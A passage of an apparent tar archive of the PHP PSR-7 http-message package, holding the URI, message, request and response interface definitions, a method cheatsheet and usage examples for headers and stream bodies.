from the URI, the data * MUST be compatible with what PHP's parse_str() would return for * purposes of how duplicate query parameters are handled, and how nested * sets are handled. * * Setting query string arguments MUST NOT change the URI stored by the * request, nor the values in the server params. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated query string arguments. * * @param array $query Array of query string arguments, typically from * $_GET. * @return static */ public function withQueryParams(array $query): ServerRequestInterface; /** * Retrieve normalized file upload data. * * This method returns upload metadata in a normalized tree, with each leaf * an instance of Psr\Http\Message\UploadedFileInterface. * * These values MAY be prepared from $_FILES or the message body during * instantiation, or MAY be injected via withUploadedFiles(). * * @return array An array tree of UploadedFileInterface instances; an empty * array MUST be returned if no data is present. */ public function getUploadedFiles(): array; /** * Create a new instance with the specified uploaded files. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param array $uploadedFiles An array tree of UploadedFileInterface instances. * @return static * @throws \InvalidArgumentException if an invalid structure is provided. */ public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface; /** * Retrieve any parameters provided in the request body. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, this method MUST * return the contents of $_POST. * * Otherwise, this method may return any results of deserializing * the request body content; as parsing returns structured content, the * potential types MUST be arrays or objects only. A null value indicates * the absence of body content. * * @return null|array|object The deserialized body parameters, if any. * These will typically be an array or object. */ public function getParsedBody(); /** * Return an instance with the specified body parameters. * * These MAY be injected during instantiation. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, use this method * ONLY to inject the contents of $_POST. * * The data IS NOT REQUIRED to come from $_POST, but MUST be the results of * deserializing the request body content. Deserialization/parsing returns * structured data, and, as such, this method ONLY accepts arrays or objects, * or a null value if nothing was available to parse. * * As an example, if content negotiation determines that the request data * is a JSON payload, this method could be used to create a request * instance with the deserialized parameters. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param null|array|object $data The deserialized body data. This will * typically be in an array or object. * @return static * @throws \InvalidArgumentException if an unsupported argument type is * provided. */ public function withParsedBody($data): ServerRequestInterface; /** * Retrieve attributes derived from the request. * * The request "attributes" may be used to allow injection of any * parameters derived from the request: e.g., the results of path * match operations; the results of decrypting cookies; the results of * deserializing non-form-encoded message bodies; etc. Attributes * will be application and request specific, and CAN be mutable. * * @return array Attributes derived from the request. */ public function getAttributes(): array; /** * Retrieve a single derived request attribute. * * Retrieves a single derived request attribute as described in * getAttributes(). If the attribute has not been previously set, returns * the default value as provided. * * This method obviates the need for a hasAttribute() method, as it allows * specifying a default value to return if the attribute is not found. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $default Default value to return if the attribute does not exist. * @return mixed */ public function getAttribute(string $name, $default = null); /** * Return an instance with the specified derived request attribute. * * This method allows setting a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated attribute. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $value The value of the attribute. * @return static */ public function withAttribute(string $name, $value): ServerRequestInterface; /** * Return an instance that removes the specified derived request attribute. * * This method allows removing a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the attribute. * * @see getAttributes() * @param string $name The attribute name. * @return static */ public function withoutAttribute(string $name): ServerRequestInterface; } psr/http-message/src/UriInterface.php000064400000031037151676714400013650 0ustar00<?php namespace Psr\Http\Message; /** * Value object representing a URI. * * This interface is meant to represent URIs according to RFC 3986 and to * provide methods for most common operations. Additional functionality for * working with URIs can be provided on top of the interface or externally. * Its primary use is for HTTP requests, but may also be used in other * contexts. * * Instances of this interface are considered immutable; all methods that * might change state MUST be implemented such that they retain the internal * state of the current instance and return an instance that contains the * changed state. * * Typically the Host header will be also be present in the request message. * For server-side requests, the scheme will typically be discoverable in the * server parameters. * * @link http://tools.ietf.org/html/rfc3986 (the URI specification) */ interface UriInterface { /** * Retrieve the scheme component of the URI. * * If no scheme is present, this method MUST return an empty string. * * The value returned MUST be normalized to lowercase, per RFC 3986 * Section 3.1. * * The trailing ":" character is not part of the scheme and MUST NOT be * added. * * @see https://tools.ietf.org/html/rfc3986#section-3.1 * @return string The URI scheme. */ public function getScheme(): string; /** * Retrieve the authority component of the URI. * * If no authority information is present, this method MUST return an empty * string. * * The authority syntax of the URI is: * * <pre> * [user-info@]host[:port] * </pre> * * If the port component is not set or is the standard port for the current * scheme, it SHOULD NOT be included. * * @see https://tools.ietf.org/html/rfc3986#section-3.2 * @return string The URI authority, in "[user-info@]host[:port]" format. */ public function getAuthority(): string; /** * Retrieve the user information component of the URI. * * If no user information is present, this method MUST return an empty * string. * * If a user is present in the URI, this will return that value; * additionally, if the password is also present, it will be appended to the * user value, with a colon (":") separating the values. * * The trailing "@" character is not part of the user information and MUST * NOT be added. * * @return string The URI user information, in "username[:password]" format. */ public function getUserInfo(): string; /** * Retrieve the host component of the URI. * * If no host is present, this method MUST return an empty string. * * The value returned MUST be normalized to lowercase, per RFC 3986 * Section 3.2.2. * * @see http://tools.ietf.org/html/rfc3986#section-3.2.2 * @return string The URI host. */ public function getHost(): string; /** * Retrieve the port component of the URI. * * If a port is present, and it is non-standard for the current scheme, * this method MUST return it as an integer. If the port is the standard port * used with the current scheme, this method SHOULD return null. * * If no port is present, and no scheme is present, this method MUST return * a null value. * * If no port is present, but a scheme is present, this method MAY return * the standard port for that scheme, but SHOULD return null. * * @return null|int The URI port. */ public function getPort(): ?int; /** * Retrieve the path component of the URI. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * Normally, the empty path "" and absolute path "/" are considered equal as * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically * do this normalization because in contexts with a trimmed base path, e.g. * the front controller, this difference becomes significant. It's the task * of the user to handle both "" and "/". * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.3. * * As an example, if the value should include a slash ("/") not intended as * delimiter between path segments, that value MUST be passed in encoded * form (e.g., "%2F") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.3 * @return string The URI path. */ public function getPath(): string; /** * Retrieve the query string of the URI. * * If no query string is present, this method MUST return an empty string. * * The leading "?" character is not part of the query and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.4. * * As an example, if a value in a key/value pair of the query string should * include an ampersand ("&") not intended as a delimiter between values, * that value MUST be passed in encoded form (e.g., "%26") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.4 * @return string The URI query string. */ public function getQuery(): string; /** * Retrieve the fragment component of the URI. * * If no fragment is present, this method MUST return an empty string. * * The leading "#" character is not part of the fragment and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.5. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.5 * @return string The URI fragment. */ public function getFragment(): string; /** * Return an instance with the specified scheme. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified scheme. * * Implementations MUST support the schemes "http" and "https" case * insensitively, and MAY accommodate other schemes if required. * * An empty scheme is equivalent to removing the scheme. * * @param string $scheme The scheme to use with the new instance. * @return static A new instance with the specified scheme. * @throws \InvalidArgumentException for invalid or unsupported schemes. */ public function withScheme(string $scheme): UriInterface; /** * Return an instance with the specified user information. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified user information. * * Password is optional, but the user information MUST include the * user; an empty string for the user is equivalent to removing user * information. * * @param string $user The user name to use for authority. * @param null|string $password The password associated with $user. * @return static A new instance with the specified user information. */ public function withUserInfo(string $user, ?string $password = null): UriInterface; /** * Return an instance with the specified host. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified host. * * An empty host value is equivalent to removing the host. * * @param string $host The hostname to use with the new instance. * @return static A new instance with the specified host. * @throws \InvalidArgumentException for invalid hostnames. */ public function withHost(string $host): UriInterface; /** * Return an instance with the specified port. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified port. * * Implementations MUST raise an exception for ports outside the * established TCP and UDP port ranges. * * A null value provided for the port is equivalent to removing the port * information. * * @param null|int $port The port to use with the new instance; a null value * removes the port information. * @return static A new instance with the specified port. * @throws \InvalidArgumentException for invalid ports. */ public function withPort(?int $port): UriInterface; /** * Return an instance with the specified path. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified path. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * If the path is intended to be domain-relative rather than path relative then * it must begin with a slash ("/"). Paths not starting with a slash ("/") * are assumed to be relative to some base path known to the application or * consumer. * * Users can provide both encoded and decoded path characters. * Implementations ensure the correct encoding as outlined in getPath(). * * @param string $path The path to use with the new instance. * @return static A new instance with the specified path. * @throws \InvalidArgumentException for invalid paths. */ public function withPath(string $path): UriInterface; /** * Return an instance with the specified query string. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified query string. * * Users can provide both encoded and decoded query characters. * Implementations ensure the correct encoding as outlined in getQuery(). * * An empty query string value is equivalent to removing the query string. * * @param string $query The query string to use with the new instance. * @return static A new instance with the specified query string. * @throws \InvalidArgumentException for invalid query strings. */ public function withQuery(string $query): UriInterface; /** * Return an instance with the specified URI fragment. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified URI fragment. * * Users can provide both encoded and decoded fragment characters. * Implementations ensure the correct encoding as outlined in getFragment(). * * An empty fragment value is equivalent to removing the fragment. * * @param string $fragment The fragment to use with the new instance. * @return static A new instance with the specified fragment. */ public function withFragment(string $fragment): UriInterface; /** * Return the string representation as a URI reference. * * Depending on which components of the URI are present, the resulting * string is either a full URI or relative reference according to RFC 3986, * Section 4.1. The method concatenates the various components of the URI, * using the appropriate delimiters: * * - If a scheme is present, it MUST be suffixed by ":". * - If an authority is present, it MUST be prefixed by "//". * - The path can be concatenated without delimiters. But there are two * cases where the path has to be adjusted to make the URI reference * valid as PHP does not allow to throw an exception in __toString(): * - If the path is rootless and an authority is present, the path MUST * be prefixed by "/". * - If the path is starting with more than one "/" and no authority is * present, the starting slashes MUST be reduced to one. * - If a query is present, it MUST be prefixed by "?". * - If a fragment is present, it MUST be prefixed by "#". * * @see http://tools.ietf.org/html/rfc3986#section-4.1 * @return string */ public function __toString(): string; } psr/http-message/src/MessageInterface.php000064400000015676151676714400014510 0ustar00<?php namespace Psr\Http\Message; /** * HTTP messages consist of requests from a client to a server and responses * from a server to a client. This interface defines the methods common to * each. * * Messages are considered immutable; all methods that might change state MUST * be implemented such that they retain the internal state of the current * message and return an instance that contains the changed state. * * @link http://www.ietf.org/rfc/rfc7230.txt * @link http://www.ietf.org/rfc/rfc7231.txt */ interface MessageInterface { /** * Retrieves the HTTP protocol version as a string. * * The string MUST contain only the HTTP version number (e.g., "1.1", "1.0"). * * @return string HTTP protocol version. */ public function getProtocolVersion(): string; /** * Return an instance with the specified HTTP protocol version. * * The version string MUST contain only the HTTP version number (e.g., * "1.1", "1.0"). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new protocol version. * * @param string $version HTTP protocol version * @return static */ public function withProtocolVersion(string $version): MessageInterface; /** * Retrieves all message header values. * * The keys represent the header name as it will be sent over the wire, and * each value is an array of strings associated with the header. * * // Represent the headers as a string * foreach ($message->getHeaders() as $name => $values) { * echo $name . ": " . implode(", ", $values); * } * * // Emit headers iteratively: * foreach ($message->getHeaders() as $name => $values) { * foreach ($values as $value) { * header(sprintf('%s: %s', $name, $value), false); * } * } * * While header names are not case-sensitive, getHeaders() will preserve the * exact case in which headers were originally specified. * * @return string[][] Returns an associative array of the message's headers. Each * key MUST be a header name, and each value MUST be an array of strings * for that header. */ public function getHeaders(): array; /** * Checks if a header exists by the given case-insensitive name. * * @param string $name Case-insensitive header field name. * @return bool Returns true if any header names match the given header * name using a case-insensitive string comparison. Returns false if * no matching header name is found in the message. */ public function hasHeader(string $name): bool; /** * Retrieves a message header value by the given case-insensitive name. * * This method returns an array of all the header values of the given * case-insensitive header name. * * If the header does not appear in the message, this method MUST return an * empty array. * * @param string $name Case-insensitive header field name. * @return string[] An array of string values as provided for the given * header. If the header does not appear in the message, this method MUST * return an empty array. */ public function getHeader(string $name): array; /** * Retrieves a comma-separated string of the values for a single header. * * This method returns all of the header values of the given * case-insensitive header name as a string concatenated together using * a comma. * * NOTE: Not all header values may be appropriately represented using * comma concatenation. For such headers, use getHeader() instead * and supply your own delimiter when concatenating. * * If the header does not appear in the message, this method MUST return * an empty string. * * @param string $name Case-insensitive header field name. * @return string A string of values as provided for the given header * concatenated together using a comma. If the header does not appear in * the message, this method MUST return an empty string. */ public function getHeaderLine(string $name): string; /** * Return an instance with the provided value replacing the specified header. * * While header names are case-insensitive, the casing of the header will * be preserved by this function, and returned from getHeaders(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new and/or updated header and value. * * @param string $name Case-insensitive header field name. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withHeader(string $name, $value): MessageInterface; /** * Return an instance with the specified header appended with the given value. * * Existing values for the specified header will be maintained. The new * value(s) will be appended to the existing list. If the header did not * exist previously, it will be added. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new header and/or value. * * @param string $name Case-insensitive header field name to add. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withAddedHeader(string $name, $value): MessageInterface; /** * Return an instance without the specified header. * * Header resolution MUST be done without case-sensitivity. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the named header. * * @param string $name Case-insensitive header field name to remove. * @return static */ public function withoutHeader(string $name): MessageInterface; /** * Gets the body of the message. * * @return StreamInterface Returns the body as a stream. */ public function getBody(): StreamInterface; /** * Return an instance with the specified message body. * * The body MUST be a StreamInterface object. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return a new instance that has the * new body stream. * * @param StreamInterface $body Body. * @return static * @throws \InvalidArgumentException When the body is not valid. */ public function withBody(StreamInterface $body): MessageInterface; } psr/http-message/src/ResponseInterface.php000064400000005112151676714400014702 0ustar00<?php namespace Psr\Http\Message; /** * Representation of an outgoing, server-side response. * * Per the HTTP specification, this interface includes properties for * each of the following: * * - Protocol version * - Status code and reason phrase * - Headers * - Message body * * Responses are considered immutable; all methods that might change state MUST * be implemented such that they retain the internal state of the current * message and return an instance that contains the changed state. */ interface ResponseInterface extends MessageInterface { /** * Gets the response status code. * * The status code is a 3-digit integer result code of the server's attempt * to understand and satisfy the request. * * @return int Status code. */ public function getStatusCode(): int; /** * Return an instance with the specified status code and, optionally, reason phrase. * * If no reason phrase is specified, implementations MAY choose to default * to the RFC 7231 or IANA recommended reason phrase for the response's * status code. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated status and reason phrase. * * @link http://tools.ietf.org/html/rfc7231#section-6 * @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml * @param int $code The 3-digit integer result code to set. * @param string $reasonPhrase The reason phrase to use with the * provided status code; if none is provided, implementations MAY * use the defaults as suggested in the HTTP specification. * @return static * @throws \InvalidArgumentException For invalid status code arguments. */ public function withStatus(int $code, string $reasonPhrase = ''): ResponseInterface; /** * Gets the response reason phrase associated with the status code. * * Because a reason phrase is not a required element in a response * status line, the reason phrase value MAY be null. Implementations MAY * choose to return the default RFC 7231 recommended reason phrase (or those * listed in the IANA HTTP Status Code Registry) for the response's * status code. * * @link http://tools.ietf.org/html/rfc7231#section-6 * @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml * @return string Reason phrase; must return an empty string if none present. */ public function getReasonPhrase(): string; } psr/http-message/src/RequestInterface.php000064400000011467151676714400014546 0ustar00<?php namespace Psr\Http\Message; /** * Representation of an outgoing, client-side request. * * Per the HTTP specification, this interface includes properties for * each of the following: * * - Protocol version * - HTTP method * - URI * - Headers * - Message body * * During construction, implementations MUST attempt to set the Host header from * a provided URI if no Host header is provided. * * Requests are considered immutable; all methods that might change state MUST * be implemented such that they retain the internal state of the current * message and return an instance that contains the changed state. */ interface RequestInterface extends MessageInterface { /** * Retrieves the message's request target. * * Retrieves the message's request-target either as it will appear (for * clients), as it appeared at request (for servers), or as it was * specified for the instance (see withRequestTarget()). * * In most cases, this will be the origin-form of the composed URI, * unless a value was provided to the concrete implementation (see * withRequestTarget() below). * * If no URI is available, and no request-target has been specifically * provided, this method MUST return the string "/". * * @return string */ public function getRequestTarget(): string; /** * Return an instance with the specific request-target. * * If the request needs a non-origin-form request-target — e.g., for * specifying an absolute-form, authority-form, or asterisk-form — * this method may be used to create an instance with the specified * request-target, verbatim. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * changed request target. * * @link http://tools.ietf.org/html/rfc7230#section-5.3 (for the various * request-target forms allowed in request messages) * @param string $requestTarget * @return static */ public function withRequestTarget(string $requestTarget): RequestInterface; /** * Retrieves the HTTP method of the request. * * @return string Returns the request method. */ public function getMethod(): string; /** * Return an instance with the provided HTTP method. * * While HTTP method names are typically all uppercase characters, HTTP * method names are case-sensitive and thus implementations SHOULD NOT * modify the given string. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * changed request method. * * @param string $method Case-sensitive method. * @return static * @throws \InvalidArgumentException for invalid HTTP methods. */ public function withMethod(string $method): RequestInterface; /** * Retrieves the URI instance. * * This method MUST return a UriInterface instance. * * @link http://tools.ietf.org/html/rfc3986#section-4.3 * @return UriInterface Returns a UriInterface instance * representing the URI of the request. */ public function getUri(): UriInterface; /** * Returns an instance with the provided URI. * * This method MUST update the Host header of the returned request by * default if the URI contains a host component. If the URI does not * contain a host component, any pre-existing Host header MUST be carried * over to the returned request. * * You can opt-in to preserving the original state of the Host header by * setting `$preserveHost` to `true`. When `$preserveHost` is set to * `true`, this method interacts with the Host header in the following ways: * * - If the Host header is missing or empty, and the new URI contains * a host component, this method MUST update the Host header in the returned * request. * - If the Host header is missing or empty, and the new URI does not contain a * host component, this method MUST NOT update the Host header in the returned * request. * - If a Host header is present and non-empty, this method MUST NOT update * the Host header in the returned request. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new UriInterface instance. * * @link http://tools.ietf.org/html/rfc3986#section-4.3 * @param UriInterface $uri New request URI to use. * @param bool $preserveHost Preserve the original state of the Host header. * @return static */ public function withUri(UriInterface $uri, bool $preserveHost = false): RequestInterface; } psr/http-message/docs/PSR7-Interfaces.md000064400000022514151676714400014056 0ustar00# Interfaces The purpose of this list is to help in finding the methods when working with PSR-7. This can be considered as a cheatsheet for PSR-7 interfaces. The interfaces defined in PSR-7 are the following: | Class Name | Description | |---|---| | [Psr\Http\Message\MessageInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessagemessageinterface) | Representation of a HTTP message | | [Psr\Http\Message\RequestInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessagerequestinterface) | Representation of an outgoing, client-side request. | | [Psr\Http\Message\ServerRequestInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessageserverrequestinterface) | Representation of an incoming, server-side HTTP request. | | [Psr\Http\Message\ResponseInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessageresponseinterface) | Representation of an outgoing, server-side response. | | [Psr\Http\Message\StreamInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessagestreaminterface) | Describes a data stream | | [Psr\Http\Message\UriInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessageuriinterface) | Value object representing a URI. | | [Psr\Http\Message\UploadedFileInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessageuploadedfileinterface) | Value object representing a file uploaded through an HTTP request. | ## `Psr\Http\Message\MessageInterface` Methods | Method Name | Description | Notes | |------------------------------------| ----------- | ----- | | `getProtocolVersion()` | Retrieve HTTP protocol version | 1.0 or 1.1 | | `withProtocolVersion($version)` | Returns new message instance with given HTTP protocol version | | | `getHeaders()` | Retrieve all HTTP Headers | [Request Header List](https://en.wikipedia.org/wiki/List_of_HTTP_header_fields#Request_fields), [Response Header List](https://en.wikipedia.org/wiki/List_of_HTTP_header_fields#Response_fields) | | `hasHeader($name)` | Checks if HTTP Header with given name exists | | | `getHeader($name)` | Retrieves a array with the values for a single header | | | `getHeaderLine($name)` | Retrieves a comma-separated string of the values for a single header | | | `withHeader($name, $value)` | Returns new message instance with given HTTP Header | if the header existed in the original instance, replaces the header value from the original message with the value provided when creating the new instance. | | `withAddedHeader($name, $value)` | Returns new message instance with appended value to given header | If header already exists value will be appended, if not a new header will be created | | `withoutHeader($name)` | Removes HTTP Header with given name| | | `getBody()` | Retrieves the HTTP Message Body | Returns object implementing `StreamInterface`| | `withBody(StreamInterface $body)` | Returns new message instance with given HTTP Message Body | | ## `Psr\Http\Message\RequestInterface` Methods Same methods as `Psr\Http\Message\MessageInterface` + the following methods: | Method Name | Description | Notes | |------------------------------------| ----------- | ----- | | `getRequestTarget()` | Retrieves the message's request target | origin-form, absolute-form, authority-form, asterisk-form ([RFC7230](https://www.rfc-editor.org/rfc/rfc7230.txt)) | | `withRequestTarget($requestTarget)` | Return a new message instance with the specific request-target | | | `getMethod()` | Retrieves the HTTP method of the request. | GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE (defined in [RFC7231](https://tools.ietf.org/html/rfc7231)), PATCH (defined in [RFC5789](https://tools.ietf.org/html/rfc5789)) | | `withMethod($method)` | Returns a new message instance with the provided HTTP method | | | `getUri()` | Retrieves the URI instance | | | `withUri(UriInterface $uri, $preserveHost = false)` | Returns a new message instance with the provided URI | | ## `Psr\Http\Message\ServerRequestInterface` Methods Same methods as `Psr\Http\Message\RequestInterface` + the following methods: | Method Name | Description | Notes | |------------------------------------| ----------- | ----- | | `getServerParams() ` | Retrieve server parameters | Typically derived from `$_SERVER` | | `getCookieParams()` | Retrieves cookies sent by the client to the server. | Typically derived from `$_COOKIES` | | `withCookieParams(array $cookies)` | Returns a new request instance with the specified cookies | | | `withQueryParams(array $query)` | Returns a new request instance with the specified query string arguments | | | `getUploadedFiles()` | Retrieve normalized file upload data | | | `withUploadedFiles(array $uploadedFiles)` | Returns a new request instance with the specified uploaded files | | | `getParsedBody()` | Retrieve any parameters provided in the request body | | | `withParsedBody($data)` | Returns a new request instance with the specified body parameters | | | `getAttributes()` | Retrieve attributes derived from the request | | | `getAttribute($name, $default = null)` | Retrieve a single derived request attribute | | | `withAttribute($name, $value)` | Returns a new request instance with the specified derived request attribute | | | `withoutAttribute($name)` | Returns a new request instance that without the specified derived request attribute | | ## `Psr\Http\Message\ResponseInterface` Methods: Same methods as `Psr\Http\Message\MessageInterface` + the following methods: | Method Name | Description | Notes | |------------------------------------| ----------- | ----- | | `getStatusCode()` | Gets the response status code. | | | `withStatus($code, $reasonPhrase = '')` | Returns a new response instance with the specified status code and, optionally, reason phrase. | | | `getReasonPhrase()` | Gets the response reason phrase associated with the status code. | | ## `Psr\Http\Message\StreamInterface` Methods | Method Name | Description | Notes | |------------------------------------| ----------- | ----- | | `__toString()` | Reads all data from the stream into a string, from the beginning to end. | | | `close()` | Closes the stream and any underlying resources. | | | `detach()` | Separates any underlying resources from the stream. | | | `getSize()` | Get the size of the stream if known. | | | `eof()` | Returns true if the stream is at the end of the stream.| | | `isSeekable()` | Returns whether or not the stream is seekable. | | | `seek($offset, $whence = SEEK_SET)` | Seek to a position in the stream. | | | `rewind()` | Seek to the beginning of the stream. | | | `isWritable()` | Returns whether or not the stream is writable. | | | `write($string)` | Write data to the stream. | | | `isReadable()` | Returns whether or not the stream is readable. | | | `read($length)` | Read data from the stream. | | | `getContents()` | Returns the remaining contents in a string | | | `getMetadata($key = null)()` | Get stream metadata as an associative array or retrieve a specific key. | | ## `Psr\Http\Message\UriInterface` Methods | Method Name | Description | Notes | |------------------------------------| ----------- | ----- | | `getScheme()` | Retrieve the scheme component of the URI. | | | `getAuthority()` | Retrieve the authority component of the URI. | | | `getUserInfo()` | Retrieve the user information component of the URI. | | | `getHost()` | Retrieve the host component of the URI. | | | `getPort()` | Retrieve the port component of the URI. | | | `getPath()` | Retrieve the path component of the URI. | | | `getQuery()` | Retrieve the query string of the URI. | | | `getFragment()` | Retrieve the fragment component of the URI. | | | `withScheme($scheme)` | Return an instance with the specified scheme. | | | `withUserInfo($user, $password = null)` | Return an instance with the specified user information. | | | `withHost($host)` | Return an instance with the specified host. | | | `withPort($port)` | Return an instance with the specified port. | | | `withPath($path)` | Return an instance with the specified path. | | | `withQuery($query)` | Return an instance with the specified query string. | | | `withFragment($fragment)` | Return an instance with the specified URI fragment. | | | `__toString()` | Return the string representation as a URI reference. | | ## `Psr\Http\Message\UploadedFileInterface` Methods | Method Name | Description | Notes | |------------------------------------| ----------- | ----- | | `getStream()` | Retrieve a stream representing the uploaded file. | | | `moveTo($targetPath)` | Move the uploaded file to a new location. | | | `getSize()` | Retrieve the file size. | | | `getError()` | Retrieve the error associated with the uploaded file. | | | `getClientFilename()` | Retrieve the filename sent by the client. | | | `getClientMediaType()` | Retrieve the media type sent by the client. | | > `RequestInterface`, `ServerRequestInterface`, `ResponseInterface` extend `MessageInterface` because the `Request` and the `Response` are `HTTP Messages`. > When using `ServerRequestInterface`, both `RequestInterface` and `Psr\Http\Message\MessageInterface` methods are considered. psr/http-message/docs/PSR7-Usage.md000064400000012564151676714400013043 0ustar00### PSR-7 Usage All PSR-7 applications comply with these interfaces They were created to establish a standard between middleware implementations. > `RequestInterface`, `ServerRequestInterface`, `ResponseInterface` extend `MessageInterface` because the `Request` and the `Response` are `HTTP Messages`. > When using `ServerRequestInterface`, both `RequestInterface` and `Psr\Http\Message\MessageInterface` methods are considered. The following examples will illustrate how basic operations are done in PSR-7. ##### Examples For this examples to work (at least) a PSR-7 implementation package is required. (eg: zendframework/zend-diactoros, guzzlehttp/psr7, slim/slim, etc) All PSR-7 implementations should have the same behaviour. The following will be assumed: `$request` is an object of `Psr\Http\Message\RequestInterface` and `$response` is an object implementing `Psr\Http\Message\RequestInterface` ### Working with HTTP Headers #### Adding headers to response: ```php $response->withHeader('My-Custom-Header', 'My Custom Message'); ``` #### Appending values to headers ```php $response->withAddedHeader('My-Custom-Header', 'The second message'); ``` #### Checking if header exists: ```php $request->hasHeader('My-Custom-Header'); // will return false $response->hasHeader('My-Custom-Header'); // will return true ``` > Note: My-Custom-Header was only added in the Response #### Getting comma-separated values from a header (also applies to request) ```php // getting value from request headers $request->getHeaderLine('Content-Type'); // will return: "text/html; charset=UTF-8" // getting value from response headers $response->getHeaderLine('My-Custom-Header'); // will return: "My Custom Message; The second message" ``` #### Getting array of value from a header (also applies to request) ```php // getting value from request headers $request->getHeader('Content-Type'); // will return: ["text/html", "charset=UTF-8"] // getting value from response headers $response->getHeader('My-Custom-Header'); // will return: ["My Custom Message", "The second message"] ``` #### Removing headers from HTTP Messages ```php // removing a header from Request, removing deprecated "Content-MD5" header $request->withoutHeader('Content-MD5'); // removing a header from Response // effect: the browser won't know the size of the stream // the browser will download the stream till it ends $response->withoutHeader('Content-Length'); ``` ### Working with HTTP Message Body When working with the PSR-7 there are two methods of implementation: #### 1. Getting the body separately > This method makes the body handling easier to understand and is useful when repeatedly calling body methods. (You only call `getBody()` once). Using this method mistakes like `$response->write()` are also prevented. ```php $body = $response->getBody(); // operations on body, eg. read, write, seek // ... // replacing the old body $response->withBody($body); // this last statement is optional as we working with objects // in this case the "new" body is same with the "old" one // the $body variable has the same value as the one in $request, only the reference is passed ``` #### 2. Working directly on response > This method is useful when only performing few operations as the `$request->getBody()` statement fragment is required ```php $response->getBody()->write('hello'); ``` ### Getting the body contents The following snippet gets the contents of a stream contents. > Note: Streams must be rewinded, if content was written into streams, it will be ignored when calling `getContents()` because the stream pointer is set to the last character, which is `\0` - meaning end of stream. ```php $body = $response->getBody(); $body->rewind(); // or $body->seek(0); $bodyText = $body->getContents(); ``` > Note: If `$body->seek(1)` is called before `$body->getContents()`, the first character will be ommited as the starting pointer is set to `1`, not `0`. This is why using `$body->rewind()` is recommended. ### Append to body ```php $response->getBody()->write('Hello'); // writing directly $body = $request->getBody(); // which is a `StreamInterface` $body->write('xxxxx'); ``` ### Prepend to body Prepending is different when it comes to streams. The content must be copied before writing the content to be prepended. The following example will explain the behaviour of streams. ```php // assuming our response is initially empty $body = $repsonse->getBody(); // writing the string "abcd" $body->write('abcd'); // seeking to start of stream $body->seek(0); // writing 'ef' $body->write('ef'); // at this point the stream contains "efcd" ``` #### Prepending by rewriting separately ```php // assuming our response body stream only contains: "abcd" $body = $response->getBody(); $body->rewind(); $contents = $body->getContents(); // abcd // seeking the stream to beginning $body->rewind(); $body->write('ef'); // stream contains "efcd" $body->write($contents); // stream contains "efabcd" ``` > Note: `getContents()` seeks the stream while reading it, therefore if the second `rewind()` method call was not present the stream would have resulted in `abcdefabcd` because the `write()` method appends to stream if not preceeded by `rewind()` or `seek(0)`. #### Prepending by using contents as a string ```php $body = $response->getBody(); $body->rewind(); $contents = $body->getContents(); // efabcd $contents = 'ef'.$contents; $body->rewind(); $body->write($contents); ``` psr/http-message/composer.json000064400000001163151676714400012507 0ustar00{ "name": "psr/http-message", "description": "Common interface for HTTP messages", "keywords": ["psr", "psr-7", "http", "http-message", "request", "response"], "homepage": "https://github.com/php-fig/http-message", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": 